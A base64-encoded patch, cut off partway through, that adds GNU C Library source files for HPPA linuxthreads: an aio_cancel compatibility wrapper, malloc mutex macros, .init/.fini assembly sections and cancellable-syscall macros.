L2xpbnV4dGhyZWFkcy9haW9fY2FuY2VsLmMJMTQgQXByIDIwMDYgMjE6MTk6NTUgLTAwMDAKQEAg
LTAsMCArMSwzMyBAQAorI2luY2x1ZGUgPHNobGliLWNvbXBhdC5oPgorCisjZGVmaW5lIGFpb19j
YW5jZWw2NCBYWFgKKyNpbmNsdWRlIDxhaW8uaD4KKyN1bmRlZiBhaW9fY2FuY2VsNjQKKyNpbmNs
dWRlIDxlcnJuby5oPgorCitleHRlcm4gX190eXBlb2YgKGFpb19jYW5jZWwpIF9fbmV3X2Fpb19j
YW5jZWw7CitleHRlcm4gX190eXBlb2YgKGFpb19jYW5jZWwpIF9fb2xkX2Fpb19jYW5jZWw7CisK
KyNkZWZpbmUgYWlvX2NhbmNlbAlfX25ld19haW9fY2FuY2VsCisKKyNpbmNsdWRlIDxzeXNkZXBz
L3B0aHJlYWQvYWlvX2NhbmNlbC5jPgorCisjdW5kZWYgYWlvX2NhbmNlbAorc3Ryb25nX2FsaWFz
IChfX25ld19haW9fY2FuY2VsLCBfX25ld19haW9fY2FuY2VsNjQpOwordmVyc2lvbmVkX3N5bWJv
bCAobGlicnQsIF9fbmV3X2Fpb19jYW5jZWwsIGFpb19jYW5jZWwsIEdMSUJDXzJfMyk7Cit2ZXJz
aW9uZWRfc3ltYm9sIChsaWJydCwgX19uZXdfYWlvX2NhbmNlbDY0LCBhaW9fY2FuY2VsNjQsIEdM
SUJDXzJfMyk7CisKKyNpZiBTSExJQl9DT01QQVQgKGxpYnJ0LCBHTElCQ18yXzEsIEdMSUJDXzJf
MykKKworI3VuZGVmIEVDQU5DRUxFRAorI2RlZmluZSBhaW9fY2FuY2VsCV9fb2xkX2Fpb19jYW5j
ZWwKKyNkZWZpbmUgRUNBTkNFTEVECTEyNQorCisjaW5jbHVkZSA8c3lzZGVwcy9wdGhyZWFkL2Fp
b19jYW5jZWwuYz4KKworI3VuZGVmIGFpb19jYW5jZWwKK3N0cm9uZ19hbGlhcyAoX19vbGRfYWlv
X2NhbmNlbCwgX19vbGRfYWlvX2NhbmNlbDY0KTsKK2NvbXBhdF9zeW1ib2wgKGxpYnJ0LCBfX29s
ZF9haW9fY2FuY2VsLCBhaW9fY2FuY2VsLCBHTElCQ18yXzEpOworY29tcGF0X3N5bWJvbCAobGli
cnQsIF9fb2xkX2Fpb19jYW5jZWw2NCwgYWlvX2NhbmNlbDY0LCBHTElCQ18yXzEpOworCisjZW5k
aWYKSW5kZXg6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbGludXh0aHJlYWRzL21hbGxv
Yy1tYWNoaW5lLmgKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogc3lzZGVwcy91bml4L3N5c3YvbGludXgv
aHBwYS9saW51eHRocmVhZHMvbWFsbG9jLW1hY2hpbmUuaApkaWZmIC1OIHN5c2RlcHMvdW5peC9z
eXN2L2xpbnV4L2hwcGEvbGludXh0aHJlYWRzL21hbGxvYy1tYWNoaW5lLmgKLS0tIC9kZXYvbnVs
bAkxIEphbiAxOTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9o
cHBhL2xpbnV4dGhyZWFkcy9tYWxsb2MtbWFjaGluZS5oCTE0IEFwciAyMDA2IDIxOjE5OjU1IC0w
MDAwCkBAIC0wLDAgKzEsNzMgQEAKKy8qIEhQLVBBUklTQyBtYWNybyBkZWZpbml0aW9ucyBmb3Ig
bXV0ZXhlcywgdGhyZWFkLXNwZWNpZmljIGRhdGEgCisgICBhbmQgcGFyYW1ldGVycyBmb3IgbWFs
bG9jLgorICAgQ29weXJpZ2h0IChDKSAyMDAzIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5j
LgorICAgVGhpcyBmaWxlIGlzIHBhcnQgb2YgdGhlIEdOVSBDIExpYnJhcnkuCisgICBDb250cmli
dXRlZCBieSBDYXJsb3MgTydEb25lbGwgPGNhcmxvc0BiYWxkcmljLnV3by5jYT4sIDIwMDMuCisg
ICAKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0
cmlidXRlIGl0IGFuZC9vcgorICAgbW9kaWZ5IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05V
IExlc3NlciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkgdGhlIEZy
ZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyCisgICB2ZXJzaW9uIDIuMSBvZiB0aGUgTGlj
ZW5zZSwgb3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KKworICAgVGhlIEdO
VSBDIExpYnJhcnkgaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVz
ZWZ1bCwKKyAgIGJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsgd2l0aG91dCBldmVuIHRoZSBpbXBs
aWVkIHdhcnJhbnR5IG9mCisgICBNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJU
SUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlIEdOVQorICAgTGVzc2VyIEdlbmVyYWwgUHVibGljIExp
Y2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4KKworICAgWW91IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEg
Y29weSBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBhbG9uZyB3
aXRoIHRoZSBHTlUgQyBMaWJyYXJ5OyBpZiBub3QsIHdyaXRlIHRvIHRoZSBGcmVlCisgICBTb2Z0
d2FyZSBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2UsIFN1aXRlIDMzMCwgQm9zdG9u
LCBNQQorICAgMDIxMTEtMTMwNyBVU0EuICAqLworCisjaWZuZGVmIF9NQUxMT0NfTUFDSElORV9I
CisjZGVmaW5lIF9NQUxMT0NfTUFDSElORV9ICisKKyN1bmRlZiB0aHJlYWRfYXRmb3JrX3N0YXRp
YworCisjaW5jbHVkZSA8YXRvbWljLmg+CisjaW5jbHVkZSA8Yml0cy9saWJjLWxvY2suaD4KKwor
X19saWJjX2xvY2tfZGVmaW5lICh0eXBlZGVmLCBtdXRleF90KQorCisvKiBTaW5jZSBvdXIgbG9j
ayBzdHJ1Y3R1cmUgZG9lcyBub3QgdG9sZXJhdGUgYmVpbmcgaW5pdGlhbGl6ZWQgdG8gemVybywg
d2UgbXVzdAorICAgbW9kaWZ5IHRoZSBzdGFuZGFyZCBmdW5jdGlvbiBjYWxscyBtYWRlIGJ5IG1h
bGxvYyAqLworIyAgZGVmaW5lIG11dGV4X2luaXQobSkJCVwKKwlfX2xpYmNfbWF5YmVfY2FsbCAo
X19wdGhyZWFkX211dGV4X2luaXQsIChtLCBOVUxMKSwgXAorCQkoKChtKS0+X19tX2xvY2suX19z
cGlubG9jayA9IF9fTFRfU1BJTkxPQ0tfSU5JVCksKCooaW50ICopKG0pKSkgKQorIyAgZGVmaW5l
IG11dGV4X2xvY2sobSkJCVwKKwlfX2xpYmNfbWF5YmVfY2FsbCAoX19wdGhyZWFkX211dGV4X2xv
Y2ssIChtKSwgXAorCQkJKF9fbG9hZF9hbmRfY2xlYXIoJigobSktPl9fbV9sb2NrLl9fc3Bpbmxv
Y2spKSwgMCkpCisjICBkZWZpbmUgbXV0ZXhfdHJ5bG9jayhtKQlcCisJX19saWJjX21heWJlX2Nh
bGwgKF9fcHRocmVhZF9tdXRleF90cnlsb2NrLCAobSksIFwKKwkJCSgqKGludCAqKShtKSA/IDEg
OiAoX19sb2FkX2FuZF9jbGVhcigmKChtKS0+X19tX2xvY2suX19zcGlubG9jaykpLCAwKSkpCisj
ICBkZWZpbmUgbXV0ZXhfdW5sb2NrKG0pCVwKKwlfX2xpYmNfbWF5YmVfY2FsbCAoX19wdGhyZWFk
X211dGV4X3VubG9jaywgKG0pLCBcCisJCQkoKChtKS0+X19tX2xvY2suX19zcGlubG9jayA9IF9f
TFRfU1BJTkxPQ0tfSU5JVCksICgqKGludCAqKShtKSkpICkKKwkKKy8qIFRoaXMgaXMgZGVmaW5l
ZCBieSBuZXdlciBnY2MgdmVyc2lvbiB1bmlxdWUgZm9yIGVhY2ggbW9kdWxlLiAgKi8KK2V4dGVy
biB2b2lkICpfX2Rzb19oYW5kbGUgX19hdHRyaWJ1dGVfXyAoKF9fd2Vha19fKSk7CisKKyNpbmNs
dWRlIDxmb3JrLmg+CisKKyNpZmRlZiBTSEFSRUQKKyMgZGVmaW5lIHRocmVhZF9hdGZvcmsocHJl
cGFyZSwgcGFyZW50LCBjaGlsZCkgXAorICAgX19yZWdpc3Rlcl9hdGZvcmsgKHByZXBhcmUsIHBh
cmVudCwgY2hpbGQsIF9fZHNvX2hhbmRsZSkKKyNlbHNlCisjIGRlZmluZSB0aHJlYWRfYXRmb3Jr
KHByZXBhcmUsIHBhcmVudCwgY2hpbGQpIFwKKyAgIF9fcmVnaXN0ZXJfYXRmb3JrIChwcmVwYXJl
LCBwYXJlbnQsIGNoaWxkLAkJCQkgICAgICBcCisJCSAgICAgICZfX2Rzb19oYW5kbGUgPT0gTlVM
TCA/IE5VTEwgOiBfX2Rzb19oYW5kbGUpCisjZW5kaWYKKworLyogdGhyZWFkIHNwZWNpZmljIGRh
dGEgZm9yIGdsaWJjICovCisKKyNpbmNsdWRlIDxiaXRzL2xpYmMtdHNkLmg+CisKK3R5cGVkZWYg
aW50IHRzZF9rZXlfdFsxXTsJLyogbm8ga2V5IGRhdGEgc3RydWN0dXJlLCBsaWJjIG1hZ2ljIGRv
ZXMgaXQgKi8KK19fbGliY190c2RfZGVmaW5lIChzdGF0aWMsIE1BTExPQykJLyogZGVjbGFyYXRp
b24vY29tbW9uIGRlZmluaXRpb24gKi8KKyNkZWZpbmUgdHNkX2tleV9jcmVhdGUoa2V5LCBkZXN0
cikJKCh2b2lkKSAoa2V5KSkKKyNkZWZpbmUgdHNkX3NldHNwZWNpZmljKGtleSwgZGF0YSkJX19s
aWJjX3RzZF9zZXQgKE1BTExPQywgKGRhdGEpKQorI2RlZmluZSB0c2RfZ2V0c3BlY2lmaWMoa2V5
LCB2cHRyKQkoKHZwdHIpID0gX19saWJjX3RzZF9nZXQgKE1BTExPQykpCisKKyNpbmNsdWRlIDxz
eXNkZXBzL2dlbmVyaWMvbWFsbG9jLW1hY2hpbmUuaD4KKworI2VuZGlmIC8qICFkZWZpbmVkKF9N
QUxMT0NfTUFDSElORV9IKSAqLwpJbmRleDogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9s
aW51eHRocmVhZHMvcHQtaW5pdGZpbmkuYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3Vu
aXgvc3lzdi9saW51eC9ocHBhL2xpbnV4dGhyZWFkcy9wdC1pbml0ZmluaS5jCmRpZmYgLU4gc3lz
ZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9saW51eHRocmVhZHMvcHQtaW5pdGZpbmkuYwotLS0g
L2Rldi9udWxsCTEgSmFuIDE5NzAgMDA6MDA6MDAgLTAwMDAKKysrIHN5c2RlcHMvdW5peC9zeXN2
L2xpbnV4L2hwcGEvbGludXh0aHJlYWRzL3B0LWluaXRmaW5pLmMJMTQgQXByIDIwMDYgMjE6MTk6
NTUgLTAwMDAKQEAgLTAsMCArMSwxMDkgQEAKKy8qIFNwZWNpYWwgLmluaXQgYW5kIC5maW5pIHNl
Y3Rpb24gc3VwcG9ydCBmb3IgSFBQQS4gIExpbnV4dGhyZWFkcyB2ZXJzaW9uLgorICAgQ29weXJp
Z2h0IChDKSAyMDAxLCAyMDAzIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLgorICAgVGhp
cyBmaWxlIGlzIHBhcnQgb2YgdGhlIEdOVSBDIExpYnJhcnkuCisKKyAgIFRoZSBHTlUgQyBMaWJy
YXJ5IGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0CisgICBhbmQvb3Ig
bW9kaWZ5IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1Ymxp
YworICAgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlv
bjsgZWl0aGVyCisgICB2ZXJzaW9uIDIuMSBvZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0
aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KKworICAgSW4gYWRkaXRpb24gdG8gdGhlIHBlcm1pc3Np
b25zIGluIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlLCB0aGUgRnJl
ZSBTb2Z0d2FyZSBGb3VuZGF0aW9uIGdpdmVzIHlvdSB1bmxpbWl0ZWQKKyAgIHBlcm1pc3Npb24g
dG8gbGluayB0aGUgY29tcGlsZWQgdmVyc2lvbiBvZiB0aGlzIGZpbGUgd2l0aCBvdGhlcgorICAg
cHJvZ3JhbXMsIGFuZCB0byBkaXN0cmlidXRlIHRob3NlIHByb2dyYW1zIHdpdGhvdXQgYW55IHJl
c3RyaWN0aW9uCisgICBjb21pbmcgZnJvbSB0aGUgdXNlIG9mIHRoaXMgZmlsZS4gIChUaGUgTGVz
c2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIHJlc3RyaWN0aW9ucyBkbyBhcHBseSBpbiBv
dGhlciByZXNwZWN0czsgZm9yIGV4YW1wbGUsIHRoZXkKKyAgIGNvdmVyIG1vZGlmaWNhdGlvbiBv
ZiB0aGUgZmlsZSwgYW5kIGRpc3RyaWJ1dGlvbiB3aGVuIG5vdCBsaW5rZWQKKyAgIGludG8gYW5v
dGhlciBwcm9ncmFtLikKKworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZGlzdHJpYnV0ZWQgaW4g
dGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlCisgICB1c2VmdWwsIGJ1dCBXSVRIT1VUIEFOWSBXQVJS
QU5UWTsgd2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5CisgICBvZiBNRVJDSEFOVEFC
SUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlCisgICBH
TlUgTGVzc2VyIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4KKworICAg
WW91IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFs
IFB1YmxpYworICAgTGljZW5zZSBhbG9uZyB3aXRoIHRoZSBHTlUgQyBMaWJyYXJ5OyBzZWUgdGhl
IGZpbGUgQ09QWUlORy5MSUIuICBJZiBub3QsCisgICB3cml0ZSB0byB0aGUgRnJlZSBTb2Z0d2Fy
ZSBGb3VuZGF0aW9uLCA1OSBUZW1wbGUgUGxhY2UgLSBTdWl0ZSAzMzAsCisgICBCb3N0b24sIE1B
IDAyMTExLTEzMDcsIFVTQS4gICovCisKKy8qIFRoaXMgZmlsZSBpcyBjb21waWxlZCBpbnRvIGFz
c2VtYmx5IGNvZGUgd2hpY2ggaXMgdGhlbiBtdW5nZWQgYnkgYSBzZWQKKyAgIHNjcmlwdCBpbnRv
IHR3byBmaWxlczogY3J0aS5zIGFuZCBjcnRuLnMuCisKKyAgICogY3J0aS5zIHB1dHMgYSBmdW5j
dGlvbiBwcm9sb2d1ZSBhdCB0aGUgYmVnaW5uaW5nIG9mIHRoZQorICAgLmluaXQgYW5kIC5maW5p
IHNlY3Rpb25zIGFuZCBkZWZpbmVzIGdsb2JhbCBzeW1ib2xzIGZvcgorICAgdGhvc2UgYWRkcmVz
c2VzLCBzbyB0aGV5IGNhbiBiZSBjYWxsZWQgYXMgZnVuY3Rpb25zLgorCisgICAqIGNydG4ucyBw
dXRzIHRoZSBjb3JyZXNwb25kaW5nIGZ1bmN0aW9uIGVwaWxvZ3VlcworICAgaW4gdGhlIC5pbml0
IGFuZCAuZmluaSBzZWN0aW9ucy4gKi8KKworLyogSWYgd2UgdXNlIHRoZSBzdGFuZGFyZCBDIHZl
cnNpb24sIHRoZSBsaW5rYWdlIHRhYmxlIHBvaW50ZXIgd29uJ3QKKyAgIGJlIHByb3Blcmx5IHBy
ZXNlcnZlZCBkdWUgdG8gdGhlIHNwbGl0dGluZyB1cCBvZiBmdW5jdGlvbiBwcm9sb2d1ZXMKKyAg
IGFuZCBlcGlsb2d1ZXMuICBUaGVyZWZvcmUgd2Ugd3JpdGUgdGhlc2UgaW4gYXNzZW1ibHkgdG8g
bWFrZSBzdXJlCisgICB0aGV5IGRvIHRoZSByaWdodCB0aGluZy4gICovCisKK19fYXNtX18gKAor
IiNpbmNsdWRlIFwiZGVmcy5oXCJcbiIKKyJcbiIKKyIvKkBIRUFERVJfRU5EUyovXG4iCisiXG4i
CisiLypAX2luaXRfUFJPTE9HX0JFR0lOUyovXG4iCisiCS5zZWN0aW9uIC5pbml0XG4iCisiCS5h
bGlnbiA0XG4iCisiCS5nbG9ibCBfaW5pdFxuIgorIgkudHlwZSBfaW5pdCxAZnVuY3Rpb25cbiIK
KyJfaW5pdDpcbiIKKyIJc3R3CSVycCwtMjAoJXNwKVxuIgorIglzdHdtCSVyNCw2NCglc3ApXG4i
CisiCXN0dwklcjE5LC0zMiglc3ApXG4iCisiCWJsCV9fcHRocmVhZF9pbml0aWFsaXplX21pbmlt
YWwsJXJwXG4iCisiCWNvcHkJJXIxOSwlcjQJLyogZGVsYXkgc2xvdCAqL1xuIgorIgljb3B5CSVy
NCwlcjE5XG4iCisiLypAX2luaXRfUFJPTE9HX0VORFMqL1xuIgorIlxuIgorIi8qQF9pbml0X0VQ
SUxPR19CRUdJTlMqL1xuIgorIi8qIEhlcmUgaXMgdGhlIHRhaWwgZW5kIG9mIF9pbml0LiAgKi9c
biIKKyIJLnNlY3Rpb24gLmluaXRcbiIKKyIJbGR3CS04NCglc3ApLCVycFxuIgorIgljb3B5CSVy
NCwlcjE5XG4iCisiCWJ2CSVyMCglcnApXG4iCisiX2VuZF9pbml0OlxuIgorIglsZHdtCS02NCgl
c3ApLCVyNFxuIgorIlxuIgorIi8qIE91ciB2ZXJ5IG93biB1bndpbmQgaW5mbywgYmVjYXVzZSB0
aGUgYXNzZW1ibGVyIGNhbid0IGhhbmRsZVxuIgorIiAgIGZ1bmN0aW9ucyBzcGxpdCBpbnRvIHR3
byBvciBtb3JlIHBpZWNlcy4gICovXG4iCisiCS5zZWN0aW9uIC5QQVJJU0MudW53aW5kLFwiYVwi
LEBwcm9nYml0c1xuIgorIgkuZXh0ZXJuIF9pbml0XG4iCisiCS53b3JkCV9pbml0LCBfZW5kX2lu
aXRcbiIKKyIJLmJ5dGUJMHgwOCwgMHgwMSwgMHgwMCwgMHgwOCwgMHgwMCwgMHgwMCwgMHgwMCwg
MHgwOFxuIgorIlxuIgorIi8qQF9pbml0X0VQSUxPR19FTkRTKi9cbiIKKyJcbiIKKyIvKkBfZmlu
aV9QUk9MT0dfQkVHSU5TKi9cbiIKKyIJLnNlY3Rpb24gLmZpbmlcbiIKKyIJLmFsaWduIDRcbiIK
KyIJLmdsb2JsIF9maW5pXG4iCisiCS50eXBlIF9maW5pLEBmdW5jdGlvblxuIgorIl9maW5pOlxu
IgorIglzdHcJJXJwLC0yMCglc3ApXG4iCisiCXN0d20JJXI0LDY0KCVzcClcbiIKKyIJc3R3CSVy
MTksLTMyKCVzcClcbiIKKyIJY29weQklcjE5LCVyNFxuIgorIi8qQF9maW5pX1BST0xPR19FTkRT
Ki9cbiIKKyJcbiIKKyIvKkBfZmluaV9FUElMT0dfQkVHSU5TKi9cbiIKKyIJLnNlY3Rpb24gLmZp
bmlcbiIKKyIJbGR3CS04NCglc3ApLCVycFxuIgorIgljb3B5CSVyNCwlcjE5XG4iCisiCWJ2CSVy
MCglcnApXG4iCisiX2VuZF9maW5pOlxuIgorIglsZHdtCS02NCglc3ApLCVyNFxuIgorIlxuIgor
Igkuc2VjdGlvbiAuUEFSSVNDLnVud2luZCxcImFcIixAcHJvZ2JpdHNcbiIKKyIJLmV4dGVybiBf
ZmluaVxuIgorIgkud29yZAlfZmluaSwgX2VuZF9maW5pXG4iCisiCS5ieXRlCTB4MDgsIDB4MDEs
IDB4MDAsIDB4MDgsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDhcbiIKKyJcbiIKKyIvKkBfZmluaV9F
UElMT0dfRU5EUyovXG4iCisiXG4iCisiLypAVFJBSUxFUl9CRUdJTlMqL1xuIgorKTsKSW5kZXg6
IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbGludXh0aHJlYWRzL3N5c2RlcC1jYW5jZWwu
aAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL2xpbnV4
dGhyZWFkcy9zeXNkZXAtY2FuY2VsLmgKZGlmZiAtTiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9o
cHBhL2xpbnV4dGhyZWFkcy9zeXNkZXAtY2FuY2VsLmgKLS0tIC9kZXYvbnVsbAkxIEphbiAxOTcw
IDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL2xpbnV4dGhy
ZWFkcy9zeXNkZXAtY2FuY2VsLmgJMTQgQXByIDIwMDYgMjE6MTk6NTUgLTAwMDAKQEAgLTAsMCAr
MSwyMzggQEAKKy8qIGNhbmNlbGxhYmxlIHN5c3RlbSBjYWxscyBmb3IgTGludXgvSFBQQS4KKyAg
IENvcHlyaWdodCAoQykgMjAwMyBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4KKyAgIFRo
aXMgZmlsZSBpcyBwYXJ0IG9mIHRoZSBHTlUgQyBMaWJyYXJ5LgorICAgQ29udHJpYnV0ZWQgYnkg
Q2FybG9zIE8nRG9uZWxsIDxjYXJsb3NAYmFsZHJpYy51d28uY2E+LCAyMDAzLgorCisgICBUaGUg
R05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBh
bmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2Vu
ZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJl
IEZvdW5kYXRpb247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2UsIG9yIChh
dCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5
IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBi
dXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50
eSBvZgorICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQ
T1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBt
b3JlIGRldGFpbHMuCisKKyAgIFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhl
IEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05V
IEMgTGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29mdHdhcmUgRm91bmRh
dGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAy
MTExLTEzMDcgVVNBLiAgKi8KKworI2luY2x1ZGUgPHN5c2RlcC5oPgorI2luY2x1ZGUgPHRscy5o
PgorI2lmbmRlZiBfX0FTU0VNQkxFUl9fCisjIGluY2x1ZGUgPGxpbnV4dGhyZWFkcy9pbnRlcm5h
bHMuaD4KKyNlbmRpZgorCisjaWYgIWRlZmluZWQgTk9UX0lOX2xpYmMgfHwgZGVmaW5lZCBJU19J
Tl9saWJwdGhyZWFkIHx8IGRlZmluZWQgSVNfSU5fbGlicnQKKworIyBpZm5kZWYgTk9fRVJST1IK
KyMgIGRlZmluZSBOT19FUlJPUiAtMHgxMDAwCisjIGVuZGlmCisKKy8qIFRoZSBzeXNjYWxsIGNh
bmNlbGxhdGlvbiBtZWNoYW5pc20gcmVxdWlyZXMgdXNlcnNwYWNlCisgICBhc3Npc3RhbmNlLCB0
aGUgZm9sbG93aW5nIGNvZGUgZG9lcyByb3VnaGx5IHRoaXM6CisKKyAgIAlkbyBhcmd1bWVudHMg
KHJlYWQgYXJnNSBhbmQgYXJnNiB0byByZWdpc3RlcnMpCisJc2V0dXAgZnJhbWUKKwkKKwljaGVj
ayBpZiB0aGVyZSBhcmUgdGhyZWFkcywgeWVzIGp1bXAgdG8gcHNldWRvX2NhbmNlbAorCQorCXVu
dGhyZWFkZWQ6CisJCXN5c2NhbGwKKwkJY2hlY2sgc3lzY2FsbCByZXR1cm4gKGp1bXAgdG8gcHJl
X2VuZCkKKwkJc2V0IGVycm5vCisJCXNldCByZXR1cm4gdG8gLTEKKwkJKGp1bXAgdG8gcHJlX2Vu
ZCkKKwkJCisJcHNldWRvX2NhbmNlbDoKKwkJY2VuYWJsZQorCQlzeXNjYWxsCisJCWNkaXNhYmxl
CisJCWNoZWNrIHN5c2NhbGwgcmV0dXJuIChqdW1wIHRvIHByZV9lbmQpCisJCXNldCBlcnJubwor
CQlzZXQgcmV0dXJuIHRvIC0xCisJCQorCXByZV9lbmQKKwkJcmVzdG9yZSBzdGFjaworCQorCUl0
IGlzIGV4cGVjdGVkIHRoYXQgJ3JldCcgYW5kICdFTkQnIG1hY3JvcyB3aWxsCisJYXBwZW5kIGFu
ICd1bmRvIGFyZ3VtZW50cycgYW5kICdyZXR1cm4nIHRvIHRoZSAKKwl0aGlzIFBTRVVETyBtYWNy
by4gKi8KKyAgIAorIyB1bmRlZiBQU0VVRE8KKyMgZGVmaW5lIFBTRVVETyhuYW1lLCBzeXNjYWxs
X25hbWUsIGFyZ3MpCQkJCVwKKwlFTlRSWSAobmFtZSkJCQkJCQkJXAorCURPQVJHU18jI2FyZ3MJ
CQkJCUFTTV9MSU5FX1NFUAlcCisJY29weSBUUkVHLCAlcjEJCQkJCUFTTV9MSU5FX1NFUAlcCisJ
Y29weSAlc3AsIFRSRUcJCQkJCUFTTV9MSU5FX1NFUAlcCisJc3R3bSAlcjEsIDY0KCVzcCkJCQkJ
QVNNX0xJTkVfU0VQCVwKKwlzdHcgJXJwLCAtMjAoJXNwKQkJCQlBU01fTElORV9TRVAJXAorCXN0
dyBUUkVHLCAtNCglc3ApCQkJCUFTTV9MSU5FX1NFUAlcCisJLyogRG9uZSBzZXR0aW5nIHVwIGZy
YW1lLCBjb250aW51ZS4uLiAqLwlBU01fTElORV9TRVAJXAorCVNJTkdMRV9USFJFQURfUAkJCQkJ
QVNNX0xJTkVfU0VQCVwKKwljbXBpYiw8PixuIDAsJXJldDAsTChwc2V1ZG9fY2FuY2VsKQkJQVNN
X0xJTkVfU0VQCVwKK0wodW50aHJlYWRlZCk6CQkJCQkJQVNNX0xJTkVfU0VQCVwKKwkvKiBTYXZl
IHIxOSAqLwkJCQkJQVNNX0xJTkVfU0VQCVwKKwlTQVZFX1BJQyhUUkVHKQkJCQkJQVNNX0xJTkVf
U0VQCVwKKwkvKiBEbyBzeXNjYWxsLCBkZWxheSBsb2FkcyAjICovCQkJQVNNX0xJTkVfU0VQCVwK
KwlibGUgIDB4MTAwKCVzcjIsJXIwKQkJCQlBU01fTElORV9TRVAJXAorCWxkaSBTWVNfaWZ5IChz
eXNjYWxsX25hbWUpLCAlcjIwIC8qIGRlbGF5ICovCUFTTV9MSU5FX1NFUAlcCisJbGRpIE5PX0VS
Uk9SLCVyMQkJCQlBU01fTElORV9TRVAJXAorCWNtcGIsPj49LG4gJXIxLCVyZXQwLEwocHJlX2Vu
ZCkJCQlBU01fTElORV9TRVAJXAorCS8qIFJlc3RvcmUgcjE5IGZyb20gVFJFRyAqLwkJCUFTTV9M
SU5FX1NFUAlcCisJTE9BRF9QSUMoVFJFRykgLyogZGVsYXkgKi8JCQlBU01fTElORV9TRVAJXAor
CVNZU0NBTExfRVJST1JfSEFORExFUgkJCQlBU01fTElORV9TRVAJXAorCS8qIFVzZSBUUkVHIGZv
ciB0ZW1wIHN0b3JhZ2UgKi8JCQlBU01fTElORV9TRVAJXAorCWNvcHkgJXJldDAsIFRSRUcgLyog
